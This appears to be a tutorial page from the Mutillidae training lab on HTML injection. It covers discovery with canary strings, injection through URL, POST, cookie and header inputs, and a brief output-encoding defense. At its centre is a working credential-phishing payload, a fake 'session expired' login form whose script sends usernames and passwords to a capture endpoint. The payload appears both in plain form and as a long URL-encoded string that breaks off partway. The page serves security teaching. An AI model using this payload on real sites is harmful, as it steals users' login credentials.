HTML Injection (HTMLi)

Overview

HTML Injection may occcur when user or attacker controlled input is later incorporated without being encoded into the web server response. In other words, the attacker can send input which later is incorporated into the web page the user receives.

Video Tutorials

Discovery Methodology

Inject all available parameters of the web page with a searchable string such as the word "CANARY" along with characters generally useful in writing HTML, JavaScript or other code. Search the response carefully noting any location where the test string appears unencoded. These locations may allow HTML Injection.

Hint: An example injection might be <CANARY={}""()'';#$--/>1. Adding a sequencial integer to the test input can help determine which of the inputs parameters resulted in the response string found.

Exploitation

Determine the prefix and suffix needed to make the injected code "fit" syntatically then add a payload between. Inject the exploit.

Example (does not include prefix or suffix):


<h1>Hello&nbsp;World</h1>

Some pages are easier to exploit because the page reflects any input. This input could be from the Cookies, and URL query parameter, or any POSTed parameter. This may be seen in the view source as a comment in which the developer dumps the referer string for diagnostic purpouses (and therefore dumps the query parameters as well). When a random parameter is created and injected, this is known as a parameter addition attack.

HTML Injection Via URL query parameters

Note any URL query parameters and inject a valid html payload into each.

HTML Injection Via POST parameters

Use Burp-Suite to note POST parameters and inject a valid html payload into each.

HTML Injection Via Cookie

Use Cookie Manager or Burp-Suite to inject a valid html payload into each cookie. If the page prints the value of the cookie to the screen, the html payload will execute.

Example

Inject the Browser User Agent String HTTP Header with HTML using a tool like User Agent Switcher.

Inject in general HTML fields such as the field "blog contents" on page "add-to-your-blog.php". Complex injections usually require URI encoding to prevent reserved characters from being stripped or interpreted by the web server. Burp-Decoder can URI encode strings.

<div id="modal" style="position:fixed;top:0;left:0;width:100%;height:100%;background-color:black;opacity:.5;z-index:999998;">&nbsp;</div>
	<div style="margin:5% auto;width:100%;position:fixed;top:5%;left:5%;z-index:9999999;">
	<div id="idlogin" style="width:405px;position:relative;margin:0 auto;background-color:white;padding:10px;border:1px solid black;">
	<script>
	function capture(theForm){
		var lXMLHTTP;
		try{ 
			var lData = "username=" + theForm.username.value + "&password=" + theForm.password.value;
			var lHost = "localhost";
			var lProtocol = "http";
			var lAction = lProtocol + "://" + lHost + "/mutillidae/capture-data.php";
			var lMethod = "post";
			try{
				lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); 
			}catch (e){ 
				try{ 
					lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); 
				}catch(e) { 
					try{ 
						lXMLHTTP = new XMLHttpRequest(); 
					}catch (e) { 
						alert(e.message); 
					};//end try
				};//end try
			};//end try
			 
			lXMLHTTP.onreadystatechange = function(){ 
				if(lXMLHTTP.readyState == 4){ 
					theForm.parentNode.style.display="none"; 
				}// end if 
			};
	
			lXMLHTTP.open(lMethod, lAction, true);
			lXMLHTTP.setRequestHeader("Host", lHost); 
			lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
			lXMLHTTP.send(lData);		
		}catch(e){ 
			alert(e.message); 
		};
		alert('Thanks! You may continue now.');
		document.getElementById('modal').setAttribute('style', '');
	};//end function
	</script>
	<form>
		<table style="font-weight:bold;">
			<tbody><tr><td colspan="2" style="font-size:20px;">Sorry! Your session has expired.<br><br>Please login again.</td></tr>
			<tr><td colspan="2">&nbsp;</td></tr>
			<tr><td>Username</td><td><input name="username" type="text"></td></tr>
			<tr><td>Password</td><td><input name="password" type="password"></td></tr>
			<tr><td colspan="2" style="text-align:center;"><input type="button" onclick="javascript:capture(this.form);" value="      Submit      "></td></tr>
		</tbody></table>
	</form>
</div>

Note that some characters which are reserved in databases are also reserved in web servers. If submitting injections directly via an interception proxy like Burp-Suite, URL encode the injection to avoid a syntax error on the web server.

URL Encoded version (with TAB spaces (%09) removed


%3c%64%69%76%20%69%64%3d%22%6d%6f%64%61%6c%22%20%73%74%79%6c%65%3d%22%70%6f%73%69%74%69%6f%6e%3a%66%69%78%65%64%3b%74%6f%70%3a%30%3b%6c%65%66%74%3a%30%3b%77%69%64%74%68%3a%31%30%30%25%3b%68%65%69%67%68%74%3a%31%30%30%25%3b%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%62%6c%61%63%6b%3b%6f%70%61%63%69%74%79%3a%2e%35%3b%7a%2d%69%6e%64%65%78%3a%39%39%39%39%39%38%3b%22%3e%26%6e%62%73%70%3b%3c%2f%64%69%76%3e%0a%3c%64%69%76%20%73%74%79%6c%65%3d%22%6d%61%72%67%69%6e%3a%35%25%20%61%75%74%6f%3b%77%69%64%74%68%3a%31%30%30%25%3b%70%6f%73%69%74%69%6f%6e%3a%66%69%78%65%64%3b%74%6f%70%3a%35%25%3b%6c%65%66%74%3a%35%25%3b%7a%2d%69%6e%64%65%78%3a%39%39%39%39%39%39%39%3b%22%3e%0a%3c%64%69%76%20%69%64%3d%22%69%64%6c%6f%67%69%6e%22%20%73%74%79%6c%65%3d%22%77%69%64%74%68%3a%34%30%35%70%78%3b%70%6f%73%69%74%69%6f%6e%3a%72%65%6c%61%74%69%76%65%3b%6d%61%72%67%69%6e%3a%30%20%61%75%74%6f%3b%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%77%68%69%74%65%3b%70%61%64%64%69%6e%67%3a%31%30%70%78%3b%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%22%3e%0a%3c%73%63%72%69%70%74%3e%0a%66%75%6e%63%74%69%6f%6e%20%63%61%70%74%75%72%65%28%74%68%65%46%6f%72%6d%29%7b%0a%76%61%72%20%6c%58%4d%4c%48%54%54%50%3b%0a%74%72%79%7b%20%0a%76%61%72%20%6c%44%61%74%61%20%3d%20%22%75%73%65%72%6e%61%6d%65%3d%22%20%2b%20%74%68%65%46%6f%72%6d%2e%75%73%65%72%6e%61%6d%65%2e%76%61%6c%75%65%20%2b%20%22%26%70%61%73%73%77%6f%72%64%3d%22%20%2b%20%74%68%65%46%6f%72%6d%2e%70%61%73%73%77%6f%72%64%2e%76%61%6c%75%65%3b%0a%76%61%72%20%6c%48%6f%73%74%20%3d%20%22%6c%6f%63%61%6c%68%6f%73%74%22%3b%0a%76%61%72%20%6c%50%72%6f%74%6f%63%6f%6c%20%3d%20%22%68%74%74%70%22%3b%0a%76%61%72%20%6c%41%63%74%69%6f%6e%20%3d%20%6c%50%72%6f%74%6f%63%6f%6c%20%2b%20%22%3a%2f%2f%22%20%2b%20%6c%48%6f%73%74%20%2b%20%22%2f%6d%75%74%69%6c%6c%69%64%61%65%2f%63%61%70%74%75%72%65%2d%64%61%74%61%2e%70%68%70%22%3b%0a%76%61%72%20%6c%4d%65%74%68%6f%64%20%3d%20%22%70%6f%73%74%22%3b%0a%74%72%79%7b%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%22%4d%73%78%6d%6c%32%2e%58%4d%4c%48%54%54%50%22%29%3b%20%0a%7d%63%61%74%63%68%20%28%65%29%7b%20%0a%74%72%79%7b%20%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%22%4d%69%63%72%6f%73%6f%66%74%2e%58%4d%4c%48%54%54%50%22%29%3b%20%0a%7d%63%61%74%63%68%28%65%29%20%7b%20%0a%74%72%79%7b%20%0a%6c%58%4d%4c%48%54%54%50%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%20%0a%7d%63%61%74%63%68%20%28%65%29%20%7b%20%0a%61%6c%65%72%74%28%65%2e%6d%65%73%73%61%67%65%29%3b%2f%2f%54%48%49%53%20%4c%49%4e%45%20%49%53%20%54%45%53%54%49%4e%47%20%41%4e%44%20%44%45%4d%4f%4e%53%54%52%41%54%49%4f%4e%20%4f%4e%4c%59%2e%20%44%4f%20%4e%4f%54%20%49%4e%43%4c%55%44%45%20%49%4e%20%50%45%4e%20%54%45%53%54%2e%20%0a%7d%3b%2f%2f%65%6e%64%20%74%72%79%0a%7d%3b%2f%2f%65%6e%64%20%74%72%79%0a%7d%3b%2f%2f%65%6e%64%20%74%72%79%0a%20%0a%6c%58%4d%4c%48%54%54%50%2e%6f%6e%72%65%61%64%79%73%74%61%74%65%63%68%61%6e%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%7b%20%0a%69%66%28%6c%58%4d%4c%48%54%54%50%2e%72%65%61%64%79%53%74%61%74%65%20%3d%3d%20%34%29%7b%20%0a%74%68%65%46%6f%72%6d%2e%70%61%72%65%6e%74%4e%6f%64%65%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%3d%22%6e%6f%6e%65%22%3b%20%0a%7d%2f%2f%20%65%6e%64%20%69%66%20%0a%7d%3b%0a%0a%6c%58%4d%4c%48%54%54%50%2e%6f%70%65%6e%28%6c%4d%65%74%68%6f%64%2c%20%6c%41%63%74%69%6f%6e%2c%20%74%72%75%65%29%3b%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%48%6f%73%74%22%2c%20%6c%48%6f%73%74%29%3b%20%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%2c%20%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%22%29%3b%20%0a%6c%58%4d%4c%48%54%54%50%2e%73%65%6e%64%28%6c%44%61%74%61%29%3b%0a%7d%63%61%74%63%68%28%65%29%7b%20%0a%61%6c%65%72%74%28%65%2e%6d%65%73%73%61%67%65%29%3b%2f%2f%54%48%49%53%20%4c%49%4e%45%20%49%53%20%54%45%53%54%49%4e%47%20%41%4e%44%20%44%45%4d%4f%4e%53%54%52%41%54%49%4f%4e%20%4f%4e%4c%59%2e%20%44%4f%20%4e%4f%54%20%49%4e%43%4c%55%44%45%20%49%4e%20%50%45%4e%20%54%45%53%54%2e%20%0a%7d%3b%0a%61%6c%65%72%74%28%27%54%68%61%6e%6b%73%21%20%59%6f%75%20%6d%61%79%20%63%6f%6e%74%69%6e%75%65%20%6e%6f%77%2e%27%29%3b%0a%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%6d%6f%64%61%6c%27%29%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%74%79%6c%65%27%2c%20%27%27%29%3b%0a%7d%3b%2f%2f%65%6e%64%20%66%75%6e%63%74%69%6f%6e%0a%3c%2f%73%63%72%69%70%74%3e%0a%3c%66%6f%72%6d%3e%0a%3c%74%61%62%6c%65%20%73%74%79%6c%65%3d%22%66%6f%6e%74%2d%77%65%69%67%68%74%3a%62%6f%6c%64%3b%22%3e%0a%3c%74%62%6f%64%79%3e%3c%74%72%3e%3c%74%64%20%63%6f%6c%73%70%61%6e%3d%22%32%22%20%73%74%79%6c%65%3d%22%66%6f%6e%74%2d%73%69%7a%65%3a%32%30%70%78%3b%22%3e%53%6f%72%72%79%21%20%59%6f%75%72%20%73%65%73%73%69%6f%6e%20%68%61%73%20%65%78%70%69%72%65%64%2e%3c%62%72%3e%3c%62%72%3e%50%6c%65%61%73%65%20%6c%6f%67%69%6e%2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Defense

HTML encode all output supplied outside of the application source code including but not limited to database records and all parameters submitted by the browser.

Videos

Introduction to HTML Injection (HTMLi) and Cross Site Scripting (XSS) Using Mutillidae